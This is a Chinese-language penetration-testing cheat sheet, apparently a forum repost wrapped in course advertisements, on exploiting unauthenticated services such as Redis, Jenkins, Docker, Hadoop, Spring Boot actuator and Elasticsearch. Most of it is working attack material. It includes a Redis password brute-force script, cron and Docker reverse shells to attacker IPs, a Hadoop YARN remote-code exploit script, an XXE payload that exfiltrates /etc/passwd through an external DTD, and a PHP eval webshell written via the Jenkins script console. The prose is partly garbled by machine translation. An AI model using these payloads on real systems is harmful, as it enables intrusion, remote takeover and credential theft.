网上学习资料一大堆,但如果学到的知识不成体系,碰到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份体系化资料的朋友,可以点击这里获取
一个人可以走的很快,但一群人才华走的更远!岂论你是正从事IT行业的老鸟或是对IT行业感爱好的新人,都欢迎加入我们的的圈子(技术交换、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
三.组件未经授权访问
1.Druid未授权访问
常见的页面泄露
- html:
- ip/druid/index.html ##Druid Index
- ip/druid/sql.html ##Druid sql监控页面
- ip/druid/weburi.html ##Druid Web URI监控页面
- ip/druid/websession.html ##Druid Web Session监控页面
- json:
- ip/druid/weburi.json ##Druid Web URI json
- ip/druid/websession.json ##Druid Web Session json
- Druid 登录接口:
- ip/druid/login.html ##Druid登录认证页面
复制代码 google hacking语法:
intitleruid Stat Index
进一步利用如果有的时候session存在可以进行session获取伪造
2.redis未授权访问大概弱口令情况
弊端缘故原由:
这个也是经常用ssrf打内网的缘故原由
- (1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
- (2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。
复制代码 批量判断方法:
- #! /usr/bin/env python
- # \_\*\_ coding:utf-8 \_\*\_
- import socket
- import sys
- PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
- def check(ip, port, timeout):
- try:
- socket.setdefaulttimeout(timeout)
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((ip, int(port)))
- s.send("INFO\r\n")
- result = s.recv(1024)
- if "redis\_version" in result:
- return u"未授权访问"
- elif "Authentication" in result:
- for pass_ in PASSWORD_DIC:
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((ip, int(port)))
- s.send("AUTH %s\r\n" %(pass_))
- result = s.recv(1024)
- if '+OK' in result:
- return u"存在弱口令,密码:%s" % (pass_)
- except Exception, e:
- pass
- if __name__ == '\_\_main\_\_':
- ip=sys.argv[1]
- port=sys.argv[2]
- print check(ip,port, timeout=10)
复制代码 利用方法:
登录redis
redis-cli -h 192.168.0.104(ip)
2.1 利用redis写webshell
2.2 利用"公私钥"认证获取root权限
条件:redis是以root身份运行
- mkdir /root/.ssh
- config set dir /root/.ssh
- config set dbfilename authorized_keys
- set xxx "\n\n\n本地公钥信息\n\n\n" #"本地公钥信息"替换为自己的公钥信息
- save
复制代码
2.3 crontlab反弹shell
1).攻击者服务器上启动一个监听端口
nc -lvnp 4444
2.)进行写
连接redis,写入反弹shell
- redis-cli -h 192.168.0.104 -p 端口
- set xxx "\n\n\*/1 \* \* \* \* /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1\n\n"
- config set dir /var/spool/cron
- config set dbfilename root
- save
复制代码 2.4redis主从复制rce
原理:
Redis实例设置主从模式的时候,Redis的主机实例就可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,进而进行执行拓展的新命令
两个脚本
1).https://github.com/n0b0dyCN/redis-rogue-server
2).https://github.com/Ridter/redis-rce
3.MongoDB未授权访问
概念:MongoDB是一个基于分布式文件存储的数据库,且默认端口
产生缘故原由:
开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操纵(增删改高危动作)而且可以长途访问数据库
弊端利用:
ip:端口(访问即可,默认是27017)
工具:
https://s3.mongobooster.com/download/releasesv5/nosqlbooster4mongo-5.1.12.exe
4.javaMelody
特性:
页面:/monitoring
5.swagger扫描
常见的页面
- /swagger-ui.html
- /swagger/swagger-ui.html
- /api/swagger-ui.html
- /v1.x/swagger-ui.html
- /swagger/index.html
- swagger-ui.html#/api-memory-controller
- /swagger/ui/
- swagger-ui
复制代码 swagger扫描工具
6.kibana未授权访问
先容:可以用kibana搜索、查看存放在Elasticsearch中的数据。默认端口是5601。
fofa:/app/kibana
利用方法:
http://<target_IP>:5601/app/kibana#/
7.spring cloud
Springboot之actuator配置不妥的弊端利用
Http 方法路径形貌get/autoconfig提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过get/configprops形貌配置属性(包罗默认值)如何注入 Beanget/beans形貌应用步伐上下文里全部的 Bean,以及它们的关系get/dump获取线程活动的快照get/env获取全部环境属性get/env/{name}根据名称获取特定的环境属性值get/health报告应用步伐的健康指标,这些值由 HealthIndicator 的实现类提供get/info获取应用步伐的定制信息,这些信息由 info 打头的属性提供get/mappings形貌全部的 URI 路径,以及它们和控制器(包罗 Actuator 端点)的映射关系get/metrics报告各种应用步伐度量信息,好比内存用量和 HTTP 请求计数get/metrics/{name}报告指定名称的应用步伐度量值post/shutdown关闭应用步伐,要求 endpoints.shutdown.enabled 设置为 true(默以为 false)get/trace提供基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等) sprigboot判断方法:
①根据title去确定
②根据404页面返回去进行判断
路径弊端利用:
- /jolokia/list#并且返回的json中有“reloadByURL”,关于路径问题:1.x版本的在根路径下注册路由
- /autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
- /beans 描述应用程序上下文里全部的Bean,以及它们的关系
- /env 获取全部环境属性,数据库账户密码泄露,可获取mysql,managodb数据库的用户名和密码
- /configprops 描述配置属性(包含默认值)如何注入Bean
- /dump 获取线程活动的快照
- /health 报告应用程序的健康指标,这些值由HealthIndicator的实现类提供,git项目地址泄露,可获取git项目的地址
- /info 获取应用程序的定制信息,这些信息由info打头的属性提供
- /mappings 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系
- /metrics 报告各种应用程序度量信息,比如内存用量和HTTP请求计数
- /shutdown 关闭应用程序,要求endpoints.shutdown.enabled设置为true
- /trace 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)获取用户认证字段信息,,比如如下站点存在 actuator 配置不当漏洞,在其 trace 路径下,除了记录有基本的 HTTP 请求信息(时间戳、HTTP 头等),还有用户 token、cookie 字段
- /heapdump 路径 #泄露站点内存信息,很多时候会包含用户的账户和密码
复制代码 进阶利用
Jolokia利用和env进阶利用思绪
利用/jolokia/exec结合起来进行利用
1.xxe
vps的文件
- 1.fire.xml
- <?xml version="1.0" encoding="utf-8" ?>
- <!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://vps-ip/fire.dtd">%remote;%int;]>
- <a>&trick;</a>
- 2.fire.dtd
- <!ENTITY % d SYSTEM "file:///etc/passwd">
- <!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
复制代码 客户端打payload
- target-ip/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vps-ip!/fire.xml
复制代码 8.Elasticsearch未授权访问
弊端缘故原由:
Elasticsearch是用Java开发的企业级搜索引擎,默认端口9200,存在未授权访问弊端时,可被非法操纵数据
接口:
- /_nodes #查看节点数据
- /_cat/indices #索引
- _cat/indices
- /_plugin/head
- /_nodes/
- /_status
- /_search?pretty
复制代码 9.Jenkis未授权访问
概念:是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成大概。
定位:
弊端所在(未经授权访问的):
http://192.168.254.151:8080/manage
http://192.168.254.151:8080/script
典型命令
- 查询当前用户
- println "whoami".execute().text
- 查看ip配置信息
- println "ifconfig -a".execute().text
复制代码 复现方法:
访问manage页面后点击脚本命令行
写shell
new File(“D:\phpstudy_pro\WWW\ma.php”).write(’<?php @eval($\_POST[cmd]);?>’);
利用wget命令长途下载shell
println “wget http://xxx.secpulse.com/tools/back.py -P /tmp/”.execute().text
println “python /tmp/back.py 10.1.1.111 8080”.execute().text
back.py并不需要root权限
poc进行利用弊端
10.JBoss未授权访问
概念:JBoss是一个基于J2EE的开放源代码的应用服务器。( 个人更加喜好理解为组件服务器)
弊端缘故原由:
JBoss默认访问jmx-console页面不需要输入密码,大概默认密码admin/admin
部署马方法
两个思绪部署马
批量脚本:
https://github.com/joaomatosf/jexboss
11.Hadoop
概念:是一个由Apache基金会所开发的分布式体系基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部门默认服务端口,黑客可以通过命令行操纵多个目录下的数据,如进行删除,下载,目录浏览乃至命令执行等操纵,产生极大的危害。
定位:
利用payload:
- 反弹shell结合shell脚本即可
- #!/usr/bin/env python
-
- import requests
-
- target = 'http://192.168.92.131:8088/'
- lhost = '192.168.10.136' # put your localhost ip here, and listen at port 9999
-
- url = target +'ws/v1/cluster/apps/new-application'
- resp = requests.post(url)
- app_id = resp.json()['application-id']
- url = target + 'ws/v1/cluster/apps'
- data = {
- 'application-id': app_id,
- 'application-name': 'get-shell',
- 'am-container-spec': {
- 'commands': {
- 'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' %lhost,
- },
- },
- 'application-type': 'YARN',
- }
- requests.post(url, json=data)
复制代码 12.VNC未授权访问
概念:VNC 是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的长途控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部门组成。
VNC 默认端口号为 5900、5901。
利用方法:
12.1)
安装工具
VNC-Viewer-5.2.0-Windows-32bit.msi
客户端安装包下载链接:
https://pan.baidu.com/s/1phgU95Kfo4W1VboNIB6Mqg 提取码:htq9
安装过程,双击msi文件一起下一步就可以了。
12.2)进行连接
在 VNC 客户端输入目的服务器IP,之后点击确定、连接,即可成功控制目的服务器
修复方法:给vnc配置密码
13.docker未授权访问
弊端缘故原由:docker remote api可以执行docker命令,docker保卫历程监听在0.0.0.0,可直接调用API来操纵docker。
标识页面:
①页面显示这个
②查看目的基本信息
:2379/version
:2379/info
弊端利用:
- #1.新运行
- sudo docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash
- #2、在容器内执行命令,将反弹shell的脚本写入到
- /var/spool/cron/root echo '\* \* \* \* \* /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root
复制代码 本身vps主机配置
14.Zookeper未授权访问
概念:ZooKeeper是一个分布式的、开放源码的分布式应用步伐协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。
弊端缘故原由:
ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得体系大量的敏感信息,包括体系名称、Java环境。
弊端复现:echo envi|nc 192.168.15.74 2181
15.Rsync未授权访问
概念:
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行长途文件传输。
弊端原理:开启了rsync服务但是没设置配置密码,因此攻击者可以读写该服务
给大家的福利
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了具体的学习成长门路图。可以说是最科学最体系的学习门路,大家跟着这个大的方向学习准没问题。
同时每个成长门路对应的板块都有配套的视频提供:
因篇幅有限,仅展示部门资料
网上学习资料一大堆,但如果学到的知识不成体系,碰到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份体系化资料的朋友,可以点击这里获取
一个人可以走的很快,但一群人才华走的更远!岂论你是正从事IT行业的老鸟或是对IT行业感爱好的新人,都欢迎加入我们的的圈子(技术交换、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |